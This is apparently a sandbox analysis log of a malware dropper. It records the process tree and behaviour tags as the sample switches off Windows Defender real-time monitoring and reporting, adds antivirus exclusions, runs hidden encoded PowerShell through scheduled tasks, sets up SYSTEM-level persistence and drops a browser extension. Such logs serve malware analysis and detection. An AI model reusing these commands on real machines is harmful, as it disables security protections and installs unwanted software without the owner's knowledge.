PID 1240 wrote to memory of 1952	1240	forfiles.exe	cmd.exe
PID 1240 wrote to memory of 1952	1240	forfiles.exe	cmd.exe
PID 1240 wrote to memory of 1952	1240	forfiles.exe	cmd.exe
PID 1240 wrote to memory of 1952	1240	forfiles.exe	cmd.exe
PID 1240 wrote to memory of 1952	1240	forfiles.exe	cmd.exe
PID 592 wrote to memory of 1612	592	forfiles.exe	cmd.exe
PID 592 wrote to memory of 1612	592	forfiles.exe	cmd.exe
PID 592 wrote to memory of 1612	592	forfiles.exe	cmd.exe
PID 592 wrote to memory of 1612	592	forfiles.exe	cmd.exe
PID 592 wrote to memory of 1612	592	forfiles.exe	cmd.exe
PID 592 wrote to memory of 1612	592	forfiles.exe	cmd.exe
PID 592 wrote to memory of 1612	592	forfiles.exe	cmd.exe
PID 1952 wrote to memory of 1144	1952	cmd.exe	reg.exe
PID 1952 wrote to memory of 1144	1952	cmd.exe	reg.exe
PID 1952 wrote to memory of 1144	1952	cmd.exe	reg.exe
PID 1952 wrote to memory of 1144	1952	cmd.exe	reg.exe
PID 1952 wrote to memory of 1144	1952	cmd.exe	reg.exe
PID 1952 wrote to memory of 1144	1952	cmd.exe	reg.exe
PID 1952 wrote to memory of 1144	1952	cmd.exe	reg.exe
PID 1612 wrote to memory of 1100	1612	cmd.exe	reg.exe
PID 1612 wrote to memory of 1100	1612	cmd.exe	reg.exe
PID 1612 wrote to memory of 1100	1612	cmd.exe	reg.exe
PID 1612 wrote to memory of 1100	1612	cmd.exe	reg.exe
PID 1612 wrote to memory of 1100	1612	cmd.exe	reg.exe
PID 1612 wrote to memory of 1100	1612	cmd.exe	reg.exe
PID 1612 wrote to memory of 1100	1612	cmd.exe	reg.exe
PID 1952 wrote to memory of 1148	1952	cmd.exe	reg.exe
PID 1952 wrote to memory of 1148	1952	cmd.exe	reg.exe
PID 1952 wrote to memory of 1148	1952	cmd.exe	reg.exe
PID 1952 wrote to memory of 1148	1952	cmd.exe	reg.exe
PID 1952 wrote to memory of 1148	1952	cmd.exe	reg.exe
PID 1952 wrote to memory of 1148	1952	cmd.exe	reg.exe
PID 1952 wrote to memory of 1148	1952	cmd.exe	reg.exe
PID 1612 wrote to memory of 1912	1612	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1104

C:\Users\Admin\AppData\Local\Temp\7zS732.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1732

C:\Users\Admin\AppData\Local\Temp\7zSD5A.tmp\Install.exe
.\Install.exe /S /site_id "525403"
3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:888

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:1240

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:1952

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
6⤵
PID:1144

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
6⤵
PID:1148

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:592

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:1612

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
6⤵
PID:1100

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
6⤵
PID:1912

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "ggYKmWWXs" /SC once /ST 07:15:10 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
4⤵
- Creates scheduled task(s)
PID:1700

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "ggYKmWWXs"
4⤵
PID:392

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "ggYKmWWXs"
4⤵
PID:1352

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bPisEBnRwoxYOmuHrm" /SC once /ST 09:14:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\olQmHhqFMBXnALo\wiFKqjL.exe\" mF /site_id 525403 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1576

C:\Windows\system32\taskeng.exe
taskeng.exe {E17A9D29-D905-4E65-915D-105781E02B4A} S-1-5-21-4063495947-34355257-727531523-1000:RYNKSFQE\Admin:Interactive:[1]
1⤵
PID:1808

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1940

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1096

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1816

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1604

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2012

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:2004

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1528

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:676

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1708

C:\Windows\system32\taskeng.exe
taskeng.exe {5B9E991F-6592-4ACC-B9D5-3827FE6C56A6} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:288

C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\olQmHhqFMBXnALo\wiFKqjL.exe
C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\olQmHhqFMBXnALo\wiFKqjL.exe mF /site_id 525403 /S
2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:1112

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gaEunwSIw" /SC once /ST 01:13:39 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:1524

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gaEunwSIw"
3⤵
PID:892

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gaEunwSIw"
3⤵
PID:1708

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
3⤵
PID:1504

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:1096

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
3⤵
PID:556

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:1468

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gspGkjJxd" /SC once /ST 04:52:14 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:300

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gspGkjJxd"
3⤵
PID:1508

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gspGkjJxd"
3⤵
PID:1704

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\LzrOtnkAyuDpOCzW" /t REG_DWORD /d 0 /reg:32
3⤵
PID:392

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\LzrOtnkAyuDpOCzW" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1604

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\LzrOtnkAyuDpOCzW" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2028

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\LzrOtnkAyuDpOCzW" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1960

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\LzrOtnkAyuDpOCzW" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1036

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\LzrOtnkAyuDpOCzW" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1440

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\LzrOtnkAyuDpOCzW" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1540

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\LzrOtnkAyuDpOCzW" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1000

C:\Windows\SysWOW64\cmd.exe
cmd /C copy nul "C:\Windows\Temp\LzrOtnkAyuDpOCzW\PhPcrlNn\qkyaAkXanIbmyoOa.wsf"
3⤵
PID:1820

C:\Windows\SysWOW64\wscript.exe
wscript "C:\Windows\Temp\LzrOtnkAyuDpOCzW\PhPcrlNn\qkyaAkXanIbmyoOa.wsf"
3⤵
- Modifies data under HKEY_USERS
PID:1028

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FHyUItRmbDQJtgsSWlR" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1612

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FHyUItRmbDQJtgsSWlR" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:812

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
5⤵
PID:1576

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gUXCkMfuWzCyC" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1376

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gUXCkMfuWzCyC" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1528

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gcyASImYjZBU2" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2000

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gcyASImYjZBU2" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:856

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vCYWhmhlU" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2020

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vCYWhmhlU" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1876

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yqOJJFIvHNUn" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1968

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yqOJJFIvHNUn" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1684

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\QtEKgGNERTHTknVB" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1016

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\QtEKgGNERTHTknVB" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1460

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2016

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1436

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\LzrOtnkAyuDpOCzW" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1596

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\LzrOtnkAyuDpOCzW" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1580

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FHyUItRmbDQJtgsSWlR" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1524

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FHyUItRmbDQJtgsSWlR" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1180

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gUXCkMfuWzCyC" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1372

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gUXCkMfuWzCyC" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1680

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gcyASImYjZBU2" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1008

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gcyASImYjZBU2" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1496

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vCYWhmhlU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1512

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vCYWhmhlU" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1348

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yqOJJFIvHNUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1464

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yqOJJFIvHNUn" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1960

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\QtEKgGNERTHTknVB" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1192

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\QtEKgGNERTHTknVB" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1420

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1820

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS" /t REG_DWORD /d 0 /reg:64
4⤵
PID:280

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\LzrOtnkAyuDpOCzW" /t REG_DWORD /d 0 /reg:32
4⤵
PID:592

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\LzrOtnkAyuDpOCzW" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1576

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gKWAmBOgP" /SC once /ST 01:19:38 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:732

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gKWAmBOgP"
3⤵
PID:1376

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gKWAmBOgP"
3⤵
PID:392

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
3⤵
PID:1036

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
4⤵
PID:1520

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
3⤵
PID:1096

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
4⤵
PID:1752

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "ehnYTuGzyhWqfGFsn" /SC once /ST 06:35:41 /RU "SYSTEM" /TR "\"C:\Windows\Temp\LzrOtnkAyuDpOCzW\ASUEhtNmEGCZDbi\ELYvpZp.exe\" 4c /site_id 525403 /S" /V1 /F
3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1000

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "ehnYTuGzyhWqfGFsn"
3⤵
PID:1144

C:\Windows\Temp\LzrOtnkAyuDpOCzW\ASUEhtNmEGCZDbi\ELYvpZp.exe
C:\Windows\Temp\LzrOtnkAyuDpOCzW\ASUEhtNmEGCZDbi\ELYvpZp.exe 4c /site_id 525403 /S
2⤵
- Executes dropped EXE
- Checks computer location settings
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:720

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "bPisEBnRwoxYOmuHrm"
3⤵
PID:1488

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
3⤵
PID:812

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
3⤵
PID:1088

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
4⤵
PID:732

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\vCYWhmhlU\yuxqIV.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "ulJHerdNyNJKzGw" /V1 /F
3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1480

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "ulJHerdNyNJKzGw2" /F /xml "C:\Program Files (x86)\vCYWhmhlU\EvNMKea.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:1048

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "ulJHerdNyNJKzGw"
3⤵
PID:1900

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "ulJHerdNyNJKzGw"
3⤵
PID:676

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "RRtdPhcgeMAKnR" /F /xml "C:\Program Files (x86)\gcyASImYjZBU2\YhkpHuh.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:1720

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "DBZKNiGxmOsGA2" /F /xml "C:\ProgramData\QtEKgGNERTHTknVB\tyKitRB.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:1520

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "tMaUGjMWirHLUJOBi2" /F /xml "C:\Program Files (x86)\FHyUItRmbDQJtgsSWlR\NJjQkkc.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:1752

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "YgCwwruigbnUpvnuIqJ2" /F /xml "C:\Program Files (x86)\gUXCkMfuWzCyC\JuAXavH.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
